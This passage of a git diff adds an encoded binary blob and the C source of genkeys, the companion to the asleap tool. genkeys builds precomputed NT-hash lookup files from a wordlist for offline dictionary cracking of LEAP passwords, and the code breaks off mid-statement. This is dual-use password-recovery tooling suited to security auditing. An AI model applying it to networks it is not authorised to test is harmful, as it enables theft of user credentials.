zK)JhL0VtP#pa7JMrzrqs!SQMhQ1uwK77Mq~T?Yi_sB?fm4^rm>x;Clx7~!Yg3jm%q zr>hH5Z2Pvl2t|CWx)??CM706M1#i2Tpcs16y%fbg8{NxLytTw7ke_vix&pdo_yQ&)jQJJUCW;1I5fq?zJeUOmwe9@%VamJ&KL@svA%|@GW&CiW{=k zO(^>M)y*iTUg>T`v1GTp1;yY+>Q)qw-KTCtvFk~-3B`Rky0@cv_H1CW_2&Fx;Lo%P;|VjHlwKirMe%*tMl9kP~3crdJx6xN$wUD8TYA&P#oLkK8#}f z6>2Mris|YR6yr*Y1lb zhEGs0p(y`Ey^Lb)R<#>NWV8DUif_HDUPZC<5AHWn3^c26p*ZwD^%{!!RZ27|AFH=; z)wDvrjbi$LsCQ6|461LVC_G913yO1YQr|(b{M+hX6#Ja5-b3-=3F>_mS%vDmDDLld zzlY-b8R~~9p1Df>2*s2f^~!}d6iZ)MKSOcYDelK8 zs;SG=G$qUc+qHlcX@=jtvLRm1Mx zC~`hf_n=sMnYtgvlPlc^P&|E#dJx4!t!g)l*PGRwC^n8$-$v2$jCv2n#UH8fqnLJp z`Z0W?UH-K72##c?mVmqsu%|EexSvHekXHHywB)HNu^=cwyY z+>V6}c^t%G!>xNA38RnW&IUyM3l#=q9wa(G>N`Y;-D8LlFTR*Ue8Ws4zE`IyAiMK_ zLS#4NJ)*G3{);HA|4ky4>hp+Dt{+E)5`T>dWpg?aN;H!Q<%SoCL{|S)od@LdYegio ze34*}SAH$n9k?WYsFJlD$5WRdVHtGC{L$5wLseP64LaI02EN zM)j|F^8PfLr;*+2KXG;BhcaC+eyXm(*xcK#u1B%=h|J8wIf_$KdcN9<;vNGTc?BxD0n4FU#=24#j17^I@_K4?JC#;moh3m$9$Z8+>PhdK1N#8d;P( z&XJ{d)J-k{y80%U6WY5)-HhUv6W!Z+b&mkFx$oDIcHFQxX-8QTX~#E?QlK6CU9CVn zI_@RysJMkxBU((VapD)G8nZ4{pc)nDk!oBqiIe>1EKc&18#&3Z@8-mwmnWkE9^$0! z)T&i&phk0D8^`Ost2tiB{Fr*->xQWpo_MA@62NvRwVUpLsX0J|Y2+JrA4I;P?{)GG zPoAZYLO<54d6={N75Iji|47Z&O@E+Ax zG)@%&ybH)f6c3Y!s2)omVq=tgujl8HhuF3sd5Fsj$wQo5LcU=<+KqWW2$cE9Y<=XL zZ2j@~v-S6WQ|_T%_r1kdEPH~j$a{>fC_jy@cz6T9^KiKxjeY-vy4X8f_@?LfW8aT{ zm~A_FKHG5iQhqn<5o*ioR;lHfkM*SbH-VQy8!(RFx|m%hI_aXDUo z4430A+f)Nuc_bI*t=U|Z6TYj!fn0o(S_XV_Am7^k5P6TsUL)`E$a~~H&WOpoCga|T z?qOK$8>pt==TR5!?0e3|Hyht3Z`b$}@^+2CA#d0C-$W6M_jNH}6+2wa)LY|S%v8y# z)$Rv1bm+K3D^0v-y(eP|2Svr@(($VTO*vQ z?HQb@J0IpuP5pv16&LOF7)4kaTS+K+VlJU1R>*PBTtX;mK8jFs#mQVrH&k++OuLtB z^?|#&T26b5JpQ8(aIG#a<*Xh(M->A?iU>*bz9f$yP2>EXzD~7)yUC#V*834T;z@rd zR&$>wR?GR4#OaY)Bu-cToLub*`>4ytK&bhRkf64!g`w>Gh46>BKCAA*y{n%S&aPpV zB2U({RG6`6-xp@=x#I+lZ|xN{-f^%D5k~cyEd*u|4S=L38efODDTF<99}&({G!!$0 z0ZQM=q3PR1kZwJiXza?(L|yf}r@X@uxfIju9aGvwG3+5mPq|d?Kbm&Nig&mG&i^%`x$Zy?efFO@ZKvEz7(MAg!eVn1 zVez`jgu;VgCH$rRnlLx*zf>n6yMvvbzJj#1=?>D?>s}*mUED<4y5M`Ht(V_MD4hQp zDeT_AB`ltPKVflM8YyhoMj4wkc1n}a0va7pZfRhf@JYvgA`H^tBy}k|JMje(q3SQT({u3GgNis!CXkE19&LOp?E z;ic+H6tDkTJ%wV?r|M}G6~*cq6l1N9BcYssBK6 z?)&ObDCS=3eu?6OFVz2_Sn)@f?C{+m2s_;TfqNsa#+|EfLUHZ4-CIx`cd@z^Md?oW z9u%#+)xEsRaGyhQ&KK%=6iYsF-$Iddu6i3q-V*mc6hk@ceH4)&yWdCAI#vAu#g#vF ze~RL{%hg9H4g{$Ij-3gvelyW!>%KDEAj~snlQ55*N{)KwPO<^BmJ)!5MRcFgNDw)% ziA-2`29eg0zzV<(0N#n6B;KdR3Bm(=6ND?yR6xjEib=39eTA6k`f_=ilJ-T{3D9i# zgSrM+_gt>tLA#DVSN#yhs~@W`Q0%uuU4upR+{r)QM`D) z`Uu6?pQ)dt*wLbXiDLiH)UQw+aGClois4P_cPJkCh58i5`ghf5C{}M$e?+l$hx#1F z;JebSIamo@Tw_(Qh)SVoqN0orBhMWurWXn%Uo=-B`Q_IIlJ^@_6vuBpPHjQ4s#xUk z+dmb#p{rKp@SYk#5nhhEOZ_iY9{5M~F^ZS#M3kAAt$vQHWByZ7c-{Px2(NE_ zpeVfFo2LGR;?XRTZ-)ESUvTx{2H{agt`Z*QR;f2FR4xQU9xFGXwjy3@{zTq{f`_#f;IbOV#}%-q{CZ&SfWNd^?xAsb=R6>SVls~x@6TGYhY!@TnZ5X}ro3ld=^hPM<_#Crwz$_l z7R<_@$b#fX*{S$61s248oyPCe|4fGbsY^(8x4+DFJgg`gulk(Iy=RuF)1gARO5O`1 zbYKmCxz9^vUM_4PA#t#N@l8(VmWk>s6fNIV7h-T*2j#{gcvU^QtJ@AId94Ly!sDQ1 z6R*_l8~IoxmjW$RE@Icu-=r?VoA&>a=$Ch1D9X0wTji(dqk5Z|;*6;rneO9>DJGuC zi931;8TqHDlk4dEcP`E6TSQrmCtip zr@zm>Pd=actm;vc$n5ut)izv0QdmBh)BXAb6e{mKlnmK<@2hoCChwxk@s$_ImhG$& z09aok{dl!X`Z3ri{dg!MgzvOp2{;VgA}m|w?Y48X-{Xihjbj(PhSeUylp)1Xlt@PFDyPCck4|dTpV^W$L51H=I^kPXHR1<*T{;B{j>Mv>{ zIy+ZQf=Y7(-%B0$)(+~px1Qo+_U;>ch<`E{w)sP%)K91nuwU8Xm5tkBnPCh`qM2_Pmk9~`i+?hqDvga!TW&Zi( zqRR%^nlnFRYu;)ifX_IAttq~Vt$AsHtvUX6%9nFLldocFlw`T+({Fyjx1^`Jl>qog z{{F>?3-H+1K{jz*2Q}({c!Y0pC%dQPnI`sN%?T7zwslhDz3pUj?LRLeAC>og=(or0 zJD2!juVpZ_jM;Y%$>3|(z=$$tpM!}j?#p)9!o@3}z*95BJ;xa{<~3rEL+%w;_pHAP zS=rRobmpo6=Eb|V|^1S^xy3QAr-gg&s#-~-oA**`Xe z3+&E26vlD#4IIa*KjC6)e~sff{Ch&h{@0R2%`N5fd+J?ssMl@d$Ud0QrP$idkv)73 zIn*T=b6Jl6gdA$+GIFSOE|=*3uao^~y`1B|@4Z~ETNZJ-9x$Gxzx}t=0X1FC(XWoG zvoL?VXxjSLPq~cG&g4uScr%rLEo&(Z9R3j(_Gy<0W4o+D=4Pl^midI=$=p2KC3t?` zFJ#fL+$c=%D}ypq+ZPK8DEmTK;2qb96=B0%K?of?g||8LL*Z?@Iz^P5xtCyxO?Rm4 zF#FBl6f448(*$QUUnM;A_C~QH%+MHQ;=^hqo_zd$u_7FKtB5Z5{Y|V0uf~N--*k#_ zDD9sMhtl-1a418wg+tl&if||yyM;qJ;csFvIQ+Z9sEoT>7?qb_5J58gR|0fE)(x#h zPm^9C20jGffkjLU;KXUde7yE&A#yVZMH@fiFySmF93`B^o8J+Z;)yMyTpwPjs8wHj zval2#pDAk9Tb~eh`k|i+XK~=;!dZNyNc8A4;-Wx*?LENNETioI5gT=CW)g^5`99rZ3M%dS)3MbY|a>CV0& zAuEYP-&{u=dgLrhVyhMD*Gs>kBzDZ(@*IA#IE+KG>tiy@7xj?(jT=V{ zwn8+6FWgP7!Z)W9n{8>~y1n^nlBU`ouE~SmB~j{F!$=F%GCsv{fa1@pRS0}C)IL%?;365qhxms7=X?n}gV<8CFj zI{$SA%s&1pvMYC;L@KfCJ>tNQBGQW2f5=h4bGO2{T)mNaf5%>&fwZNZfhRuX*q1-Y zQD0rgQD6Q!G2xoWIO?-zbJWL7n;5ci!(L;`@#7a6F!Dpw$0(l;3#$0Dhxt5l3SE?S!+3e$6r1?+7YEdNcX$z20HJ z&wq$LURS^#&wZ9XKIdcN{*nJCoUMwmuV>s#Odq*|eZ6@t`&#s|pqR901;xDbo}ic; zrU{B!(jtne%!kz7V=(sXL?0D9Q_)^|(5HfaZkZ(LXUd0ycP@KT@J{7+!8@yS1n<0% zDU#96^923OsTBd~j?cB?F0#^Mf%zIOtJjU{edWD4o(wBeB~cR!ddvCV5PO^2v#aNR1nZPP~Tv&=ijCN9Yypv zGFyQB>$=IcJ@6&rf9Ed=|5v=JqFBM{g#V+*6aLqnO8B3%o%5P~CgK0K4>-GNrxN}< z9M19P0}21Vy`1TuPYC~q9m@IMb{_FW-l3fJnZM#%nDIN#{b7HkqHRnWSHv5~aYZyt zr1VnqA>rW7-w+PA{uinLS*H>jj=Y?jpy&4?Obl=58X2i0WE}pv!WwybEZ4>U#}YD* z+051Pq(DaXPYD?h?jkmN_$b21nPROUIFvMZ{duIhWB)>$d)`^3x%Kan=5D%_G`H+Q zDq(lNK+1b$32E-&ZqnQ-Cy?fz`5b9(#fL_kDkN-%a!#&pT(9bF7oj zfB&k#tE;N3tNyL3WX`?w5t(!Qc9A)^?k$;f%U+Z@_n8KnY}2O8WczxSOtzgqmC1JA z?_{#g?kkh+uyHckei<*5ZJ!*OY#%)!lkLTgGT9crEqwa$Q!>l;Y9pQgra0;J?-og? zpIs!Ke)bL0+wWT-z5TOB>FqCdlIit#A4oSJJVZM78~-7a|L3LBu`8|4G~Gli?$WaX z=Iqrk0}L9k{{oN~t^W#Ol;}4A-g;eBI(L7i{|@Zadqjyd?+wx3wE0}GL*!>&HI+Db zU#^<~K0yn+&}UokZ-pP-OhcLJ@n*XOV6wu2s|rF^IB+?Ey~3fl*UXLr+Pl_;|5rS2 zE{86>9pvN*=0zrdaKS@z#DWLj5VGJQ1!&lU2N!1(E_mS511@+-qu3H$@Q}{=hzlMv zOvQBs-(K**)dpb;951pTD}yj8;ti z!tBgM`0(RDmu9pk#L^7L_SwW(F3pJHhs>oJjFzPtT*wf)G@}#6Juc0VbqrjZkxeQr z&9Do=0fHb z>b<<7e|MMJo(m`Xk2E_*NB76@JwoDrF0(^-Go}Zt!F3@a_3J+~ur8!yEN;y&beR|S zWY=H28%@&7MV_bOK9@5sz=DD|@sgj>|3b!hasK!x*ayGM=Fj_`GfRyCAjP9AEd40V}7u8O3Fr;oS<%xUQ19Ehp6~4 z|Ifak^SqfIfjkXC4D}6RYMkRrG~L-QS=#f>BD0rp*6Z&Jz9f(ocmaJH1$M zM62$)gOZ{$^ELdhlu;%E;{j7N(mTh9+<5vGajvN!C*0ejP2!EU`!bOtn`872+!vjp z>4sI`PPYK8d4Y~MD(XQ|VxGQJPr{t}^(-kWs=2P1{M@NH_Smg6SdIE?!Hp?(2YIi3 zUuX~R%_0|dY!W%^h5O0XugE5Uz4UGJPlp$hvtIoR^3(?&f#jf!laf2;!woO;{qOHX z)5z}iBq0<=%wWNc5Ecawiy_4h09NT>0eL zRP^1#rERF^_pHn@WWf|{iqvo{eM;D@hStJgtbhTn~t8+ZBv99bND%O?bRbnSc_eK^@|E8&9=M$oBfbEA~ThPLt0a%nIitwiH z`W DCt<+p4WduS6Xqko(*tjrsyROSg*b#URfExpIz7Bb*olOAucFm1OofM3tj33&CYbv#9Z4UbR=IQchrfK@pZ09Pim8yp)%#{XzBS^jTcW@k8(LpFbZ zGzGwee_)r`F@tRW!OPhx7fzybVX>lsyYS}}aJS5(fP3)Q>=F%oq1aQ(Pqo7C5m4qS zvw_`X%Ww2(boytgy4x_HO1tGp*i{ynKvAdKyo3&;T92i2ZtW;^7}d&ThdG%>vEbZ| zbi~@%09BlFT}**s`FwVph4~NyRI8`S{%?Ip*P#J-|3*0ev$KWOU-tred}VeJh1#ma zGB+%`Pni2f9}8E%3qid!35fD0aD{H_E`ZZ=#G?s~;EXbHz*2WmYVZu6Xo_ zXu-Cu5mV2a4(yS}w$UPeZc3Ey)SM$-al<#_FSqqkc10C6UG!zApQ64@8JS{#mz;H|h( z91b_fh_UWWo>=MDrR!#p9Ga&O0h}2tO0o)Lbd{wXo?EzA@Tq=Wm!*0(NSe2$L)k2o7`drM4y z$7kwkxbMI^{YQYaQ^Wwc<0Cx_*xD2F{cO5J(*t$S0!_W%u`&7;fHk8_9j1xomn~6o|)WiQ{X-V!Z}wjcdeTV0o_I z0Bo%me}UC6>qcNFn)DWcO+EECWUZU@P5|?Ly&I8RGsKBt{Rr_MXj!cfAo5rTaT_?h zh5iC6=0bfGAgYHxjXQI#b2PmN&ZOzHNOP6x7GMp((GNgiIi9H>1US@PKWyT@ z_r>3K*=GG1BDW{%$p8o57C(dKck3sCEqYo%1+eazrq@B!o#M0EaE+$d!LEgR8o;Tq zH2pOjpVrSIPc=)=1a_{orVm2%2>m?3#;*EBfW^7`&j2f)(60cj-mG5*IJHU70XW@3 z{|&e6@%nXOn`Y}bNfM{u1~?im^6uev`aNJx6Z8iFYkG_HyQEmp2X^)n{Ru$BEqVcS z$<&_%m=iU99<~e;kAeEP^hHhk@r}P#?9)3V?BRHvd0PMe8?*iETYrO{~s-xZqtYxhJ2B7(C-3+j< zN*@7O)m|S1IQxk{32>;5J`J$&C3*s>Hj{J@2k3Qj{!S$hn@_u5?(O?tLEt^ z0ghj)p8_~hE51}`-V=s-X@Y(Rk()omop?D*^dEtpdQ3kDuyeMa39x;c{u98)yY%w_ z^=tKu085tZKLfNt+=do>T5CLWuYMNbn^XFat?|0{>FK}@_jfqBMQ>6Y4!#~Dvt^zK z2W1@J&dG6iCGA%m`f*xOF`I>%*>H9j-emh95vF4=i19eg<8Uqc(Wm6!+oxpV zX|i-GhH}HX@p!Qqi4*=4x&!LqqRh-_bQP5_$J$jxG;!1ng=pepfKn4@cA*mFhNEV? zSW~ry21vy}XC}lUZg4F17K58)LxrIOT+v;T_A0a|qNdy4-|P@j)5S-q>8So2dMj_2 zeMzVU3{%r3IchrYBtkV^O1PRX)lt)>nJOJ5-&WIc(~zK=&JqVr(IkfGbEx5?;)lh7 z{sxK}YWJvklmc#L0Y&jhz16V$pyz9kA7Oev5?TsJ(erh1^nBb*MD%>JjmT2wL_Htx z57F~cffuUh%L0BLJs-Cbp`I_~VF5i~ht6h9wyiVj(1qDUQ-x*qDX@Ug>o29-z3 z%;?Izpcb_242){QiwU6?WNc6^*v(N3G8$?@{ts-_a*3l2{0UzcwSiQtQ5$F%)6oV> zn^7A`JzJnw4a{Yee1|rWyOo4! z1G#5OKpTkPmUhi$cIpMAg-Y9DUf0{alKYX|^g3H$#AKIwJ&QbI7txWWE_`DuqYs6r zw9b&2RmO6NPzv7o5S7l2$D{&{PC6p8qcaQ@*E2fPP>GO=FxG-gYFh~B8kO|6#tad! z;9{ea`#Fzr>|#~Gq$nHDXm%MB#7Rq6-tmf zfhCA9WC>E{umqWOCss*|Sc0^%EJ4aOEJ53SEJ0ceOAx=BB}g(@g5(cbg0|PQ1WBFKso77Jr|EhQzyHs2gq+peNPD4$Tc{5~T z6`!U1BW5lnVwErpiW`+41G!iwHbG&c5?_N7MZ^ zMUGnOLpV|;-O8~j-OKSOE}dge%DiZ*wAyar!fF*enc6EA`)qVQBah3tfzdjit|%(@ zBWl)E>SBGEME6nwrQ+LAJ)}|_xfV^u?d4iDmA06R&{XmYu76dDa0>xQh~gp2WgIvam?{;BKUmX5Mqv}?J|tdZ%fvZ=6K2z@@hT{Rb%^1o?a*VveWXKa5Qe7DU+eREJGZ1EH|#lp=!Wc-|kvrc;;* zWz#7)oQF-P@IW>_T+|*x4yD$ai;e_-+!5IiBJ~q&faVhXKEc ztw;u(;=_4%N|e?h15P<2lmTZ#*iMP8C>ik1-@|}so1M~w40spbfxNSvR}Wkm@UGv( zfK%ECVZgf)4eXNGo~fg{z#4uDeo#EKn+zKk{=|%lV!pJGhdeMu#JTWNGME?S!7NU3 zL#*{;whvnCgKuEecv$Oc%MY{GyCbaiS-C6+ya6aT1f|DLJ=pBn&9PliIwx|g#$N2M z*s8H3_cqKv-^Pj*Bf>UT>_c-KH&*OR?|N>m*asUcUP&@;tjOIBWn;yD_`!`8uO|E} zzgKHx#cTM%gm0{PEfdeTvEr!ru(9HGNDbLo@p?M%b7MshGvdaIc_84%iv0<{e`Cb~ zAh9-9NlH(L;UAG?vQdpu4W$IjGYh!<(qCFP{IepHqF4R;xK z{WjcwY$I>DhYuNfD+*9sSYx<-NB~)7ae=?UaF>kn`l@*7^t&Y+ zi>$i57{@N4tcXWdtjL-|oJs1If82Jv1Y5|vtBO&W;*!GJQfyvbP*GaKECsczXeAXE zR+o%-Qp(FJ@O+EPE{uhsp`3W^)m)7hViOejaS}vft)E$s6GC@EVHx%e|6u_>6Y`Rx z43EM{!^^-d5D0vM4B4qH&qafU_(t8)*`84ZsBfmUOL}(dTeQ)dF{d zQ;(sQEiEmG1YH{+eBE&wFrWvX3+57O7>Gf4PJVmZG=dJ7;lUO9T%blNF4#GkUu+hN zip%JZi*;jg>RW~14&6x5;ZnGS4oq!;4xS)VuV};5b{4o=Tn5|P3Cxe-eq5{*>6$@@ z>-wooutTB^9|pAPhSg!J#ARgRa)OiJQ;2ZrW`PcuaV0J%ICRe-f^?|wutw0~(#wE5 z!FldXMA&q<%!Pk7E~%qK=j7+N=}?bb=7SDb6s|zXvVXk-$oxzrZ&V!^EL_r$035yWX}k{DP$EG$A6eJg2!YdnNAM7^h)%f6gI}{84A3s0G9&03 zVZP}fLdRz!sDyC3iq7bNaM}q3hpuBdUCrI#(Ju;6S#%f^oPz?mTT~uCJeroPn3?-KYsDjVE3FFJrKzvk8SNu*4;6b{dAMV9mA{Ptf>>?sab?-*n$Q~0C7ok0a2d0CGdOX<8wr40 zeM!b)!C42;bF38{q5^`9tAcZ0A>K@Y`_UE%o?&$az~cyk&msUGPiT#Mf+twGjBQM3 zyCI!pn56TaUCu0xsR123ehIpEdJLQL%h9KjH+@E3N92-cV zY2$S^4t*(teD9JD8+$N-o^yX70LMEH2H+ionA{)o9Sa`%J@NTj5%irRaD1!50Q&48 zCi!)V!1+xC`kBjUISBj>!xNWp)A4=1WB*3SmGqAz@I_AhBO|u|df?Ljz}f!0@V@5q z9^ia`r;)$3H##fw#}Mp^dxGgUo(-I1vx8rS_MHz@;eNC)_@cbq7XWwJ`0a)#emZc6 zz7XkO0?oA2jgOheV3l80pnMMzM>@)@ei>dq^%(kJccxqAiLAfkyeq-Z??uCtcn|mu zYRy=mIT7ic2PN3_^9|2cQxUPsrvJ)LcFMQh@Z9_w@?m|^|5XF((+HYmyFL!NL%-ko zo{%5DCw0pCK7ix0XPt+w5c#h%eR}8vF zq@#XO{UXvm5%`@Bo+UrPBj#D(8yg?xDi%6egcn02q z^egT3mm<>V7@q5R|6n`)gNXEx4bQDrjO*N*|D(3>KZ9MKofa0r_oDp2VqBtp|51k` z(oZ6t@6(0GM*l<;TjN;=0wY-?*LLEj)iS7v*hcoK;@)7Q=H9 z>TetYJ>G|jdDjZ|{RI(tO$3hqo;3_{583zMZ+LDf2kzweD87#;cu!IkzhCod{${ZA zpN{&@0_xQFdFTD2{&>IUT;Ov<(%&~co;rSg_Vd0#nglz)C5C4Z+i#7j*XHB-nRa@~wzw{-1ch)89~k7sjKmT`+YO+xJh2pnpCB|BHj8{0Oc$4NsTp z`0=QH|9kd)e2eLeR55Ul^Y2UjXj3M?HQ^u*#)f>j>6o`>PRobk|3&x=SOg8JUZ zIP@R9Ul_gZ`5rjtd*}$m+Mla`tYGIiF#>sn7SuYW-r}>InaI-RO86J0p(?dMLFHwSGjxja`((F zEUUIMbg0EchfSrqH2E+ccn1~IwGows1Cw8 zU5JH#$mhdPuXg|ru(S>%^8(8c!v+ra4!R|8_&{&}fjGs{>&4+;)L+#=mF4x1^A?p? zRzNXxo+z)kxYAo%URhXB?iD4Ix1e?+&ugnHFY%WYyRYcm<0^v*-m>C}z;NcGD1*E> zsBGN5MrGm8ON#u6$0>Ps2?ySkkLP>s@;F%VDWcJmr;ID^jfxG=FT}}iV~x_13Y=EP z)5+}9;>HBeEOgE-vrhtZ_v(w&_n>^T&J%O@y0SYSPjwoO864IBRy-bu+YK0)KMKbX z;~dAKc{dF7-p2F)kdl8V4nQ0-!0?tZ>j(C`KiG<&_0~9!y{3 z^LTiMXK!~;H%>Dga@%lku!(OQK7b8;TR~xYi9s!#bv&ElL!LE;j~xUD`vIwd-mki( z$ncd^`T{4f6%~}D0U}OPt?*ZlsX+k(ugq$7s_Re?oMbn^%YvYsC1}CkhPOntf3+3p zg=3LdaV1WV^NLo{=PR#;;u3GVY7Ki4EL+kKKRU3G>A*bD0z18Xq<4VTiG1BS`%--Cy$*&9yOKTF*uM8&F}R|L!hAcNt-x6aH1ba(AD^geLaJf z2f+~PVgqOMdA+v`%g3qjBg2m=<%xENZ$fpMzr;Z0YC;aF^ZKi6D~gJJHKF;|RM@SG z6ZC3o?2a%FgA9r(y{V?G*zQYw2WSd8qp!3IO<7ZA)YcS~q7wFfXe8ViaY`@xk-uyl zdQdUW-}Tj$l#IoPJ+5+m2^*xMs0xwz-fK#5cp&~4))tLrFZB9E>FgXK$S>T7(z91q zR!Lj>D{IT~WNXNSUKvlW3DgB$94Exemu(-YI%3cu92p(>tbEisqX0aE*z3i?hhg19 oJ{YGjhkY)gM-k@t9*NV0(XBWHBA4)U9}ScfM=#>Lm+$3&0hyqp=l}o! literal 0 HcmV?d00001 diff --git a/asleap/src/genkeys.c b/asleap/src/genkeys.c new file mode 100644 index 0000000..37d2238 --- /dev/null +++ b/asleap/src/genkeys.c @@ -0,0 +1,480 @@ +/* + * asleap - recover weak LEAP passwords. Pronounced "asleep". + * + * Copyright (c) 2004, Joshua Wright + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. See COPYING for more + * details. + * + * asleap is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/* + * Significant code is graciously taken from the following: + * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg + */ + +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "version.h" +#include "utils.h" + +#define PROGNAME "genkeys" + +/* Globals */ +unsigned long long sortcount; + +int compfunc(const void *x, const void *y) +{ + + struct hashpass_rec rec1, rec2; + + sortcount++; + rec1 = (struct hashpass_rec)(*(struct hashpass_rec *)x); + rec2 = (struct hashpass_rec)(*(struct hashpass_rec *)y); + + if (rec1.hash[15] == rec2.hash[15]) { + return (0); + } else if (rec1.hash[15] < rec2.hash[15]) { + return (-1); + } else { + return (1); + } +} + +/* getnextrec accepts a record structure, a file pointer and a flag to indicate + if we want to populate the password member of the structure (requires a + malloc). getnextrec populates the structure with the next record available, + and returns the record length on success, or negative on failure. */ +int getnextrec(struct hashpass_rec *rec, FILE * fp, int fillpass) +{ + int passlen; + + fread(&rec->rec_size, 1, 1, fp); + + passlen = (rec->rec_size - 17); + + if (fillpass) { + if (passlen < 1) { + perror("[getnextrec] Too short password length"); + return (-1); + } + + if ((rec->password = malloc(passlen)) == NULL) { + return (-1); + } + + fread(rec->password, passlen, 1, fp); + + } else { + + /* Skip past the password */ + fseek(fp, passlen, SEEK_CUR); + } + + fread(rec->hash, 16, 1, fp); + + return (rec->rec_size); +} + +/* closebuckets accepts an array of type hashbucket_rec and closes each + file handle. There is no return value. */ +void closebuckets(struct hashbucket_rec hbucket[256], int hsub) +{ + + char bucketfile[256]; + for (hsub--; hsub != -1; hsub--) { + fclose(hbucket[hsub].sbucket); + sprintf(bucketfile, "genk-bucket-%02x.tmp", hsub); + remove(bucketfile); + } +} + +void usage(char *message) +{ + + if (strlen(message) > 0) { + printf("%s: %s\n", PROGNAME, message); + } + + printf("Usage: %s [options]\n", PROGNAME); + printf("\n" + "\t-r \tInput dictionary file, one word per line\n" + "\t-f \tOutput pass+hash filename\n" + "\t-n \tOutput index filename\n" + "\t-h \tLast 2 hash bytes to filter with (optional)\n" "\n"); +} + +int main(int argc, char *argv[]) +{ + + char password[MAX_NT_PASSWORD + 1]; + unsigned char pwhash[MD4_SIGNATURE_SIZE]; + int passlen, getnextret, c; + off_t recoffset; + float elapsed = 0; + unsigned long int wordcount = 0; + struct timeval start, end; + FILE *inputfl, *outputfl, *outputidx; + struct hashpass_rec rec, tmprec; + struct hashpassidx_rec idxrec; + char wordlist[1025], datafile[1025], indexfile[1025]; + + char bucketfile[255]; + unsigned int hsub = 0, brecsub = 0, bucketrecords; + struct hashbucket_rec hbucket[256]; + struct hashpass_rec *brec; + + printf("genkeys %s - generates lookup file for asleap. " + "\n", VER); + + while ((c = getopt(argc, argv, "r:f:n:h:")) != EOF) { + switch (c) { + case 'r': + strncpy(wordlist, optarg, sizeof(wordlist) - 1); + break; + case 'f': + strncpy(datafile, optarg, sizeof(datafile) - 1); + break; + case 'n': + strncpy(indexfile, optarg, sizeof(indexfile) - 1); + break; + default: + usage(""); + exit(1); + } + } + + if (IsBlank(wordlist) || IsBlank(datafile) || IsBlank(indexfile)) { + usage("Must supply -r -f and -n"); + exit(1); + } + + if (*wordlist == '-') { + printf("Using STDIN for words.\n"); + inputfl = stdin; + } else { + if ((inputfl = fopen(wordlist, "rb")) == NULL) { + perror("fopen"); + exit(1); + } + } + + if ((outputfl = fopen(datafile, "wb")) == NULL) { + perror("fopen"); + fclose(outputfl); + exit(1); + } + + if ((outputidx = fopen(indexfile, "wb")) == NULL) { + perror("fopen"); + fclose(outputfl); + exit(1); + } + + /* Create the appropriate buckets for the output files to be used for + sorting the pass+hash file */ + + memset(hbucket, 0, sizeof(hbucket)); + memset(bucketfile, 0, sizeof(bucketfile)); + + printf("Generating hashes for passwords (this may take some time) ..."); + fflush(stdout); + + gettimeofday(&start, 0); + + /* create the bucket files */ + for (hsub = 0; hsub < 256; hsub++) { + sprintf(bucketfile, "genk-bucket-%02x.tmp", hsub); + if ((hbucket[hsub].sbucket = fopen(bucketfile, "wb")) == NULL) { + /* Crap, now we have to back-track to close everything we opened */ + closebuckets(hbucket, hsub); + fprintf(stderr, "Error creating bucket files. "); + perror("fopen"); + exit(1); + } + } + + while (!feof(inputfl)) { + + fgets(password, MAX_NT_PASSWORD + 1, inputfl); + /* Remove newline */ + password[strlen(password) - 1] = 0; + + /* Code to accommodate Windows-formatted dictionary files on Linux. + Thanks ocnarfid8/#kismet. + */ + if (password[strlen(password) - 1] == 0x0d) { + password[strlen(password) - 1] = 0; + } + +#ifndef _OPENSSL_MD4 + /* md4.c seems to have a problem with passwords longer than 31 bytes. + This seems odd to me, but it should have little impact on our + final product, since I assume there are few passwords we will be + able to identify with a dictionary attack that are longer than 31 + bytes. */ + password[31] = 0; +#endif + + NtPasswordHash(password, strlen(password), pwhash); + + memcpy(rec.hash, pwhash, sizeof(rec.hash)); + rec.rec_size = (strlen(password) + sizeof(rec.hash) + + sizeof(rec.rec_size)); + + /* Write the output record to the correct bucket, depending on byte + 14 of the hash value. */ + hsub = rec.hash[14]; + fwrite(&rec.rec_size, sizeof(rec.rec_size), 1, + hbucket[hsub].sbucket); + fwrite(password, strlen(password), 1, hbucket[hsub].sbucket); + fwrite(&rec.hash, sizeof(rec.hash), 1, hbucket[hsub].sbucket); + + hbucket[hsub].numrec++; + wordcount++; + } + + /* Flush all buffers before closing -- I don't think this is really + necessary, but it's kind of a belt-and-suspenders thing. No one ever + said I was a snappy dresser. */ + fflush(NULL); + fclose(inputfl); + + /* Close and reopen all the buckets (they were in "w" mode) */ + + for (hsub = 0; hsub < 256; hsub++) { + sprintf(bucketfile, "genk-bucket-%02x.tmp", hsub); + fclose(hbucket[hsub].sbucket); + if ((hbucket[hsub].sbucket = fopen(bucketfile, "rb")) == NULL) { + closebuckets(hbucket, hsub); + fprintf(stderr, "Error re-opening bucket files."); + perror("fopen"); + exit(1); + } + } + + printf("Done.\n"); + + /* Report stats on writing hashes */ + gettimeofday(&end, 0); + + /* Borrowed from Tim Newsham's wep_crack.c -- thanks Tim */ + if (end.tv_usec < start.tv_usec) { + end.tv_sec -= 1; + end.tv_usec += 1000000; + } + end.tv_sec -= start.tv_sec; + end.tv_usec -= start.tv_usec; + elapsed = end.tv_sec + end.tv_usec / 1000000.0; + + printf("%lu hashes written in %.2f seconds: %.2f hashes/second\n", + wordcount, elapsed, wordcount / elapsed); + + printf("Starting sort (be patient) ..."); + fflush(stdout); + + hsub = 0; + while (hsub < 256) { + sprintf(bucketfile, "genk-bucket-%02x.tmp", hsub); + + /* If there are no records in the bucket, unlink */ + if (hbucket[hsub].numrec == 0) { + /* Bucket is empty, get rid if it */ + fclose(hbucket[hsub].sbucket); + hbucket[hsub].sbucket = NULL; + unlink(bucketfile); + hsub++; + continue; + } + +/* + * With all our buckets created, clean up and then sort each bucket. After + * Sorting the bucket, write the output file to the outputfl handle for one + * big file. + */ + + /* malloc() enough space in memory for each record that we have to + load into memory for sorting */ + if ((brec = calloc(hbucket[hsub].numrec, sizeof(rec))) == NULL) { + fprintf(stderr, + "Unable to allocate %ld bytes of memory. ", + (hbucket[hsub].numrec * sizeof(rec))); + closebuckets(hbucket, 256); + perror("malloc"); + exit(-1); + } + + bucketrecords = hbucket[hsub].numrec; + for (brecsub = 0; brecsub < bucketrecords; brecsub++) { + + /* Get 1 byte for the record length */ + if 